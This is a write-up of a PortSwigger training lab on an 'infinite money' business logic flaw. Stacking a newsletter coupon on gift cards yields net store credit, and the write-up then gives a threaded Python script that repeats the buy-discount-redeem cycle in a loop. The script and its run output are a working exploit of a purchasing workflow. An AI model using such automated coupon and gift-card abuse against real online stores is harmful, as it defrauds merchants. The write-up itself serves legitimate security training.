Infinite money logic flaw | Dec 20, 2022
Introduction
Welcome to my another writeup! In this Portswigger Labs lab, you’ll learn: Infinite money logic flaw! Without further ado, let’s dive in.
- Overall difficulty for me (From 1-10 stars): ★★★☆☆☆☆☆☆☆
Background
This lab has a logic flaw in its purchasing workflow. To solve the lab, exploit this flaw to buy a “Lightweight l33t leather jacket”.
You can log in to your own account using the following credentials: wiener:peter
Exploitation
Home page:
Login as user wiener
:
In here, we can redeem some gift cards.
In the bottom of the home page, we can sign up to their newsletter.
Let’s sign up:
Now we can use SIGNUP30
code for our coupon.
Let’s try to buy the leather jacket:
Then go to /cart
page:
As you can see, we’ve added that product to our cart.
Also, we can try to use the SIGNUP30
coupon:
It successfully applied the coupon.
Let’s remove that product and try to buy a product:
It works normally.
Now, since the application has a function that allows users to redeem gift cards, why not try to buy a gift card?
As you can see, we now have a gift card code: du7uEebi5e
.
Try to redeem it:
Our store credits added 10 dollars!
Hmm… How can we abuse this functionality…
Ah! Remember we have the SIGNUP30
coupon right?
What if I apply that coupon the the gift card?
Now the gift card worth $7.00
. Let’s place the order:
Then redeem the gift card:
Oh! Our store credit went from $89.43
to $99.43
, and we only used $7.00
to buy the gift card, which we have added $3.00
to our store credit!
We have infinite money now! Let’s write a python script to automate this process:
#!/usr/bin/env python3
import requests
from bs4 import BeautifulSoup
from threading import Thread
import re
import argparse
def sendRequests(url, cookie, csrfToken):
buyGiftCardData = {
'productId': '2',
'redir': 'PRODUCT',
'quantity': 1
}
applyCouponData = {
'csrf': csrfToken,
'coupon': 'SIGNUP30'
}
placeOrderData = {
'csrf': csrfToken
}
# Buy a gift card
requests.post(url + '/cart', cookies=cookie, data=buyGiftCardData)
# Apply SIGNUP30 coupon
requests.post(url + '/cart/coupon', cookies=cookie, data=applyCouponData)
# Place order and fetch gift card code
orderText = requests.post(url + '/cart/checkout', cookies=cookie, data=placeOrderData, allow_redirects=True).text
# Extract the value of gift card code
soup = BeautifulSoup(orderText, 'html.parser')
# Find all <td> tags
tableTd = soup.find_all('td')
for td in tableTd:
# The length of the code is always 10 characters long
if len(td.text.strip()) == 10:
# Extract the value of the code
giftCardCode = td.text.strip()
redeemGiftCardData = {
'csrf': csrfToken,
'gift-card': giftCardCode
}
# Redeem gift card
requests.post(url + '/gift-card', cookies=cookie, data=redeemGiftCardData)
# Check store credit
myaccountText = requests.get(url + '/my-account', cookies=cookie).text
soup = BeautifulSoup(myaccountText, 'html.parser')
# Find <strong> tag
strongTag = soup.find('strong')
# Find pattern 123.00
storeCredit = float(re.search(r'([0-9]+\.[0-9]{2})', strongTag.text).group(0))
if storeCredit >= 935.90:
print('[+] You now can buy the leather jacket WITH the SIGNUP30 coupon.')
print(f'[+] Store credit: ${str(storeCredit)}')
exit()
else:
# \r to clean previous line
print(f'[*] Current store credit: ${str(storeCredit)}', end='\r')
def main():
# Argument parser
parser = argparse.ArgumentParser(description='Exploit infinite money logic flaw in PortSwigger business logic vulnerabilities lab.')
parser.add_argument('-u', '--url', metavar='URL', required=True, help='Full URL of the lab. E.g: https://0a9b002b0469da23c5c03cf3003e007b.web-security-academy.net')
parser.add_argument('-c', '--cookie', metavar='Cookie', required=True, help='Session cookie of your user wiener. E.g: Efi6qVmgThhBsbkiTeugTPMQQ2DtofbC')
parser.add_argument('-t', '--token', metavar='CSRF_Token', required=True, help='CSRF token. E.g: yVr8Bdqr24wuRU6e6IjZCkdgEhfY3s3c')
args = parser.parse_args()
url = args.url
cookie = {'session': args.cookie}
csrfToken = args.token
while True:
# Create each thread to run function sendRequests(url, cookie, csrfToken)
thread = Thread(target=sendRequests, args=(url, cookie, csrfToken))
# Start the thread
thread.start()
# Wait for previous thread finish
thread.join()
if __name__ == '__main__':
main()
Now, let the script runs, until we have at least $1337.00
store credit:
┌──(root🌸siunam)-[~/ctf/Portswigger-Labs/Business-Logic-Vulnerabilities/BLV-10]
└─# python3 exploit.py -u https://0a9b002b0469da23c5c03cf3003e007b.web-security-academy.net -c Efi6qVmgThhBsbkiTeugTPMQQ2DtofbC -t yVr8Bdqr24wuRU6e6IjZCkdgEhfY3s3c
[*] Current store credit: $102.43
[...]
[+] You now can buy the leather jacket WITH the SIGNUP30 coupon.
[+] Store credit: $1129.43
Now the store credit reaches above $935.90
, let’s buy the leather jacket with the coupon!
We did it!
What we’ve learned:
- Infinite money logic flaw